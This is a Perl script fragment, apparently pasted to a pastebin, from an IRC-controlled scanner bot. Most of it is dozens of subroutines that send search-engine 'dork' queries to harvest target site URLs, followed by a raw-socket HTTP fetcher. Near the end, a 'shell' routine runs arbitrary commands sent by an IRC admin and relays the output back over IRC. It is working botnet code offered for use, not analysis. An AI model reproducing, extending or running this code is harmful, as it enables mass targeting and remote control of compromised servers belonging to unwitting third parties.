- for ($b=0; $b<=30; $b+=10) {
- my $search = ("http://euroseek.com/system/search.cgi?language=".$lang."&mode=internet&start=".$b."&string=".&key($key));
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" class=/g) {
- if ($1 !~ /euroseek/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- }return @list;
- }
- sub seznam() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- my $search = ("http://search.seznam.cz/?q=".&key($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {
- if ($1 !~ /seznam/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tiscali() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=500; $b+=10) {
- my $search = ("http://search.tiscali.it/?tiscalitype=web&collection=web&start=".$b."&q=".&key($key));
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {
- if ($1 !~ /tiscali/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub naver() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- my $search = ("http://web.search.naver.com/search.naver?where=webkr&query=".&key($key)."&docid=0〈=all&f=&srcharea=all&st=s&fd=2&start=".$b."&display=10");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /naver/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub live {
- my $key = $_[0];
- my @list;
- my $num = 50; my $max = 5000; my $p;
- my $search = "http://search.live.com/results.aspx?q=".&key($key)."&go";
- my $msearch = "http://search.live.com";
- my $nxsearch;
- my $res = search_engine_query($search);
- if ( $res =~ /<a class=\"sb_pagN\" href=\"(.*?)\" onmousedown/ ) {
- my $nxsearch = $1;
- }
- while ( $res =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
- my $l = $1 ; if ($l !~ /google/) { push (@list, $l); }
- }
- for ( $p=0;$p<=$max;$p += $num ) {
- $nxsearch = $msearch.htmltosearch($1)."&go";
- $res = search_engine_query("http://search.live.com/results.aspx?q=".&key($key)."&first=".$p."&FORM=PORE");
- while ( $res =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
- my $l = $1 ; if ($l !~ /google/) { push (@list, $l); }
- }
- }
- return @list;
- }
- sub rakuten() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- my $search = ("http://websearch.rakuten.co.jp/Web?qt=".&key($key)."&col=OW&lg=all&st=".$b."&svx=101722");
- my $res = search_engine_query($search);
- while ($res =~ m/<a class="sc_result result" href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /rakuten/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub biglobe {
- my $key = $_[0];
- my @list;
- for ($b=1; $b<=500; $b+=10) {
- $num += $num;
- my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search_bl_top?start=".$b."&ie=utf8&num=".$num."&q=".&key($key)."&lr=all";
- my $res = search_engine_query($search);
- while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
- if ($1 !~ /biglobe/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub nova() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- $num += $num;
- my $search = ("http://nova.rambler.ru/srch?query=".&key($key)."&page=".$b."&start=".$num);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /rambler|cache/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub najdi() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- $num += $num;
- my $search = ("http://www.najdi.si/search.jsp?q=".&key($key)."&o=".$b."&maxHitsPerGroup=".$num);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" onmousedown/g) {
- if ($1 !~ /najdi|cache/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub goo() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- my $search = ("http://search.goo.ne.jp/web.jsp?STYPE=web&OE=UTF-8&MT=".&key($key)."&IE=UTF-8&FR=".$b."&from=pager");
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {
- if ($1 !~ /goo/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub uksubmit() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- my $search = ("http://www.uksubmit.co.uk/index.php?query=".&key($key)."&searchType=Web&page=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href="http:\/\/(.+?)\"/g) {
- if ($1 !~ /uksubmit/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub excite() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- $num += $num;
- my $search = ("http://msxml.excite.com/excite/ws/results/Web/".$key."/".$b."/0/0/Relevance/zoom=off/qi=".$num."/qk=20/bepersistence=true/_iceUrlFlag=7?_IceUrl=true");
- my $res = search_engine_query($search);
- while ($res =~ m/status='http:\/\/(.*?)';/g) {
- if ($1 !~ /excite|google|Yahoo/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub amidalla(){
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=100; $b+=10){
- my $web=("http://www.amidalla.de/cgi-bin/amisearch.cgi?search=".&key($key)."&page=".$b."&break=10&af=2&tld=com&et=2");
- my $Res=search_engine_query($web);
- while ($Res =~ m/<a href=\"http:\/\/(.+?)\//g){
- if ($1 !~ /amidalla/){
- my $k=$1;
- my @grep=links($k);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub buscar() {
- my @list;
- my $key = $_[0];
- for (my $b=1; $b<=1000; $b+=10){
- my $search = ("http://buscar.ozu.es/index.php?etq=web&q=".&key($key)."&pag=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
- my $link = $1;
- if ($link !~ /buscar/){
- $link =~ s/<//g;
- $link =~ s/ //g;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub sogou() {
- my @list;
- my $key = $_[0];
- for (my $b=1; $b<=1000; $b+=10){
- my $search = ("http://www.sogou.com/web?query=".&key($key)."&page=".$b."&p=40040100&dp=1&w=01019900&dr=1&_asf=www.sogou.com&_ast=1313253760");
- my $res = search_engine_query($search);
- while ($res =~ m/<a name="dttl" target="_blank" href="http:\/\/(.*?)\"/g) {
- my $link = $1;
- if ($link !~ /sogou/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub interia() {
- my @list;
- my $key = $_[0];
- for ($b = 0;$b<= 100; $b+= 10) {
- my $search = ( "http://www.google.interia.pl/szukaj?q=".&key($key)."&s=szukaj&w=sw&szukaj=&p=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/text-decoration: none;\">http:\/\/(.+?)\/(.*)<\/a>/g) {
- my $link = $1;
- if ($link!~ /google|interia/) {
- my @grep=links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub snz() {
- my @list;
- my $key = $_[0];
- for (my $b=1; $b<=1000; $b+=100) {
- my $search = ("http://searchnz.co.nz/search.aspx?q=".&key($key)."&np=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/(.+?)\//g) {
- my $link = $1;
- if ($link!~ /searchnz/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yandex(){
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=50; $b+=10){
- my $search=("http://yandex.ru/yandsearch?p=".$b."&text=".&key($key)."&lr=84");
- my $res= search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
- my $link = $1;
- if ($link!~ /yandex/ ){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub joeant(){
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=50; $b+=10){
- my $search=("http://www.joeant.com/DIR/search.php?keywords=".&key($key)."&page=".$b."&limit=10");
- my $res= search_engine_query($search);
- while ($res =~ m/<a href=\http:\/\/(.*?)\//g) {
- my $link = $1;
- if ($link!~ /joeant/ ){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub terra(){
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=50; $b+=10){
- my $search=("http://buscador.terra.com/Results.aspx?ca=a&source=Search&query=".$key);
- my $res= search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
- my $link = $1;
- if ($link!~ /terra/ ){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub youdao() {
- my @list;
- my $key = $_[0]; {
- my $search = ("http://www.youdao.com/search?q=".&key($key)."&start=10&ue=utf8&keyfrom=".$b."&lq=".&key($key)."×ort=0");
- my $res = search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
- if ($1 !~ /youdao/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub amfibi() {
- my @list;
- my $key = $_[0]; {
- my $search = ("http://www.amfibi.com/search?query=".&key($key)."&start=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
- if ($1 !~ /amfibi|cache/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bigclique() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- $num += $num;
- my $search = ("http://www.bigclique.com/search.jsp?query=".&key($key)."&hitsPerPage=10&start=".$num."&hitsPerSite=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href="http:\/\/(.+?)\"/g) {
- if ($1 !~ /bigclique|cached/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub dancefloor() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- $num += $num;
- my $search = ("http://www.dancefloorhireuk.co.uk/events/search.php?query=".&key($key)."&start=".$b."&search=1&results=10&type=and&domain=");
- my $res = search_engine_query($search);
- while ($res =~ m/<a href="http:\/\/(.+?)\"/g) {
- if ($1 !~ /dancefloor|query/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub goojp() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://search.goo.ne.jp/web.jsp?mt=".key($key)."&bt_search.x=0&bt_search.y=0&stype=web&sh=".$i."&ie=utf-8&oe=utf-8&from=gootop");
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /goo/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub latina() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.com/webhp?hl=la#hl=la&source=hp&q=".&key($key)."&num=".$i."&filter=100&start=&fp=267768f7e7d8ad1f");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- if ($1 !~ /google latina/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahoohk(){
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=500; $b+=10) {
- my $search = ("http://hk.search.yahoo.com/search?p=".&key($key)."&b=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- if ($1 !~ /hk.search.yahoo.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub setooz() {
- my @lst;
- my $key = $_[0];
- my $i = 0;
- my $pg = 0;
- for ($i=0; $i<=1000; $i+=100) {
- my $hung = ("http://nl.setooz.com/search?query=".key($key)."&lang=nl&start=".$i."&pager.offset=40");
- my $res = search_engine_query($hung);
- while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
- if ($1 !~ /setooz/){
- my $k = $1;
- my @grep = links($k);
- push( @lst, @grep );
- }
- }
- }
- return @lst;
- }
- sub aubing() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.bing.com/search?q=".key($key)."&go=&qs=n&sk=&form=qblh&filt=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /bing/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahoo7(){
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=500; $b+=10) {
- my $search = ("http://au.search.yahoo.com/search?p=".&key($key)."&fr=yfp-t-501&ei=utf-8");
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- if ($1 !~ /yahoo7/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gooes() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.es/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google.es/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub neti(){
- my @lst;
- my $key = $_[0];
- for($b=1;$b<=1000;$b+=20){#20
- my $lyc=("http://www.neti.ee/cgi-bin/otsing?src=web&query=".key($key)."&alates=".$b);
- my $res= search_engine_query($lyc);
- while($res =~ m/<a href=\"http:\/\/([^>\"]*)/g){
- my $k= $1;
- if ($1 !~ /neti/){
- my @grep=links($k);
- push(@lst,@grep);
- }
- }
- }
- return @lst;
- }
- sub doogate(){
- my @list;
- my $key = $_[0];
- my $i = 0;
- for ($i=0; $i<=1000; $i+=100){
- my $web=("http://www.doogate.com/search?q=".key($key)."&start=".$i);
- my $res= search_engine_query($web);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\//g){
- if ($1 !~ /doogate/){
- my $k=$1;
- my @grep=links($k);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub webwombat(){
- my @lst;
- my $key = $_[0];
- my $i = 0;
- for ($i=0; $i<=1000; $i+=50){
- my $web=("http://s.webwombat.com.au/aus?ix=".key($key)."&ri=".$i."&t=");
- my $res= search_engine_query($web);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
- if ($1 !~ /webwombat/){
- my $k=$1;
- my @grep=links($k);
- push(@lst,@grep);
- }
- }
- }
- return @lst;
- }
- sub euroseek() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=1000; $b+=100) {
- my $search = "http://euroseek.com/system/search.cgi?mode=internet&start=".$b."&string=".&key($key)."";
- my $link = &search_engine_query($search);
- while ( $link =~ m/http:\/\/(.+?)\//g) {
- my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = links($link); push(@list,@grep);
- }
- }
- return @list;
- }
- sub alltheweb() {
- my @list;
- my $key = $_[0];
- for ($i = 0;$i <= 1000;$i += 100) {
- my $search = ("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=500&q=".key($key)."&o=".$i."");
- my $res = &search_engine_query($search);
- while ($res =~ m/http:\/\/(.+?)\//g) {
- my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- return @list;
- }
- sub mamma(){
- my @list;
- my $key = $_[0];
- for($b=0;$b<=1000;$b+=100){
- my $Th=("http://www.mamma.com/result.php?q=".key($key)."&type=web&p=".$b);
- my $Res=&search_engine_query($Th);
- while($Res =~ m/target=\"_blank\">(.+?)\//g){
- if ($1 !~ /msn|live|google|yahoo/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahoo2() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- my @doms = ("at","au","br","ca","de","es","fr","it","uk");
- foreach my $domain (@doms) { #$dom = $doms[rand(scalar(@doms))];
- for (my $i=1; $i<=1000; $i+=100) {
- my $search = ("http://".$domain.".search.yahoo.com/search?n=100&p=".&key($key)."&b=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\//g) {
- if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- } return @list;
- }
- }
- sub kvasir() {
- my @list;
- my $key = $_[0];
- for (my $i=10; $i<=1000; $i+=100){
- my $search = ("http://www.kvasir.no/nettsok?offset=".$i."&pageSize=100&q=".&key($key)."");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\//g) {
- my $link = $1; if ($link !~ /kvasir/){ $link =~ s/<//g; $link =~ s/ //g; my @grep = links($link); push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub netsprint(){
- my @list;
- my $key = $_[0];
- for($b=1;$b<=1000;$b+=100){
- my $Th=("http://www.netsprint.pl/serwis/search?q=".key($key)."&rpp=10&pg=".$b."&ff=0&z=1&format=-1");
- my $Res=&search_engine_query($Th);
- while($Res =~ m/target=\"_blank\" href=\"http:\/\/(.+?)\//g){
- my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- return @list;
- }
- sub lookle(){
- my @list;
- my $key = $_[0];
- for($b=1;$b<=1000;$b+=100){
- my $Th=("http://www.lookle.com/search/index.php?page=search/web&search=".key($key)."&type=web&startpage=".$b);
- my $Res=&search_engine_query($Th);
- while($Res =~ m/href=\"http:\/\/(.+?)\//g){
- my $link=$1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- return @list;
- }
- sub optuszoo(){
- my @list;
- my $key = $_[0];
- for($b=10;$b<=1000;$b+=100){
- my $Th=("http://www.optuszoo.com.au/search?q=".key($key)."&start=".$b."&target=web");
- my $Res=&search_engine_query($Th);
- while($Res =~ m/href=\"http:\/\/(.+?)\//g){
- my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- return @list;
- }
- sub search66(){
- my @list;
- my $key = $_[0];
- for($b=10;$b<=1000;$b+=100){
- my $Th=("http://search.search66.com/?query=".key($key)."&start=".$b."&offset=20&lang=ENG");
- my $Res=&search_engine_query($Th);
- while($Res =~ m/href=\"http:\/\/(.+?)\//g){
- my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- return @list;
- }
- sub arrama(){
- my @list;
- my $key = $_[0];
- for($b=10;$b<=1000;$b+=100){
- my $Th=("http://www.arrama.com/arama.html?cx=partner-pub-8986600646077390%3A3up8c9-e187&cof=FORID%3A10&ie=UTF-8&q=".key($key)."&sa=Web'de+Ara-Bul&siteurl=www.arrama.com%2F#8".$b."");
- my $Res=&search_engine_query($Th);
- while($Res =~ m/href=\"http:\/\/(.+?)\//g){
- my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- return @list;
- }
- sub excitejp(){
- my @list;
- my $key = $_[0];
- for($b=10;$b<=1000;$b+=100){
- my $Th=("http://www.excite.co.jp/search.gw?target=combined&look=excite_jp&Language=&sstype=excite_r&search=".key($key)."&FirstResult=".$b."");
- my $Res=&search_engine_query($Th);
- while($Res =~ m/href=\"http:\/\/(.+?)\//g){
- my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- return @list;
- }
- sub clix(){
- my @list;
- my $key = $_[0];
- for($b=1;$b<=1000;$b+=100){
- my $Th=("http://pesquisa.clix.pt/resultado.html?question=".key($key)."&in=Mundial&num=25&ckWhere=Mundo&position=".$b."");
- my $Res=&search_engine_query($Th);
- while($Res =~ m/href=\"http:\/\/(.+?)\//g){
- my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- return @list;
- }
- sub searchch(){
- my @list;
- my $key = $_[0];
- for($b=10;$b<=1000;$b+=100){
- my $Th=("http://web.search.ch/?rank=".$b."&q=".key($key)."");
- my $Res=&search_engine_query($Th);
- while($Res =~ m/href=\"http:\/\/(.+?)\//g){
- my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- return @list;
- }
- sub cada(){
- my @list;
- my $key = $_[0];
- for($b=10;$b<=1000;$b+=100){
- my $Th=("http://cade.search.yahoo.com/search;_ylt=A0geu8ny1rRO8gQADw7b7Qt.?p=".key($key)."&fr=sfp&xargs=0&pstart=1&b=".$b);
- my $Res=&search_engine_query($Th);
- while($Res =~ m/<a href=\"http:\/\/(.+?)\//g){
- my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- return @list;
- }
- sub bypass() {
- my @list;
- my $key = $_[0];
- my $search = ($bypass."?key=".&key($key));
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
- if ($1 !~ /google/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- return @list;
- }
- #########################################
- sub clean() {
- my @cln = ();
- my %visit = ();
- foreach my $element (@_) {
- $element =~ s/\/+/\//g;
- next if $visit{$element}++;
- push @cln, $element;
- }
- return @cln;
- }
- sub key() {
- my $dork = $_[0];
- $dork =~ s/ /\+/g;
- $dork =~ s/:/\%3A/g;
- $dork =~ s/\//\%2F/g;
- $dork =~ s/\?/\%3F/g;
- $dork =~ s/&/\%26/g;
- $dork =~ s/\"/\%22/g;
- $dork =~ s/,/\%2C/g;
- $dork =~ s/\\/\%5C/g;
- $dork =~ s/@/\%40/g;
- $dork =~ s/\[/\%5B/g;
- $dork =~ s/\]/\%5D/g;
- $dork =~ s/\?/\%3F/g;
- $dork =~ s/\=/\%3D/g;
- $dork =~ s/\|/\%7C/g;
- return $dork;
- }
- sub links() {
- my @list;
- my $link = $_[0];
- my $host = $_[0];
- my $hdir = $_[0];
- $hdir =~ s/(.*)\/[^\/]*$/$1/;
- $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
- $host .= "/";
- $link .= "/";
- $hdir .= "/";
- $host =~ s/\/\//\//g;
- $hdir =~ s/\/\//\//g;
- $link =~ s/\/\//\//g;
- push(@list,$link,$host,$hdir);
- return @list;
- }
- sub search_engine_query($) {
- my $url = $_[0];
- $url =~ s/http:\/\///;
- my $host = $url;
- my $query = $url;
- my $page = "";
- $host =~ s/href=\"?http:\/\///;
- $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
- $query =~ s/$host//;
- if ($query eq "") { $query = "/"; }
- eval {
- my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
- print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n";
- my @pages = <$sock>;
- $page = "@pages";
- close($sock);
- };
- return $page;
- }
- #########################################
- sub shell() {
- my $path = $_[0];
- my $cmd = $_[1];
- if ($cmd =~ /cd (.*)/) {
- chdir("$1") || &msg("$path","0,1No such file or directory");
- return;
- }
- elsif ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- my @output = `$cmd 2>&1 3>&1`;
- my $c = 0;
- foreach my $output (@output) {
- $c++;
- chop $output;
- &msg("$path","$output");
- if ($c == 5) { $c = 0; sleep 2; }
- }
- exit;
- }}
- }
- sub isAdmin() {
- my $status = 0;
- my $nick = $_[0];
- if ($nick eq $admin) { $status = 1; }
- return $status;
- }
- sub msg() {
- return unless $#_ == 1;
- sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
- }
- sub nick() {
- return unless $#_ == 0;
- sendraw("NICK $_[0]");
- }
- sub notice() {
- return unless $#_ == 1;
- sendraw("NOTICE $_[0] :$_[1]");
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement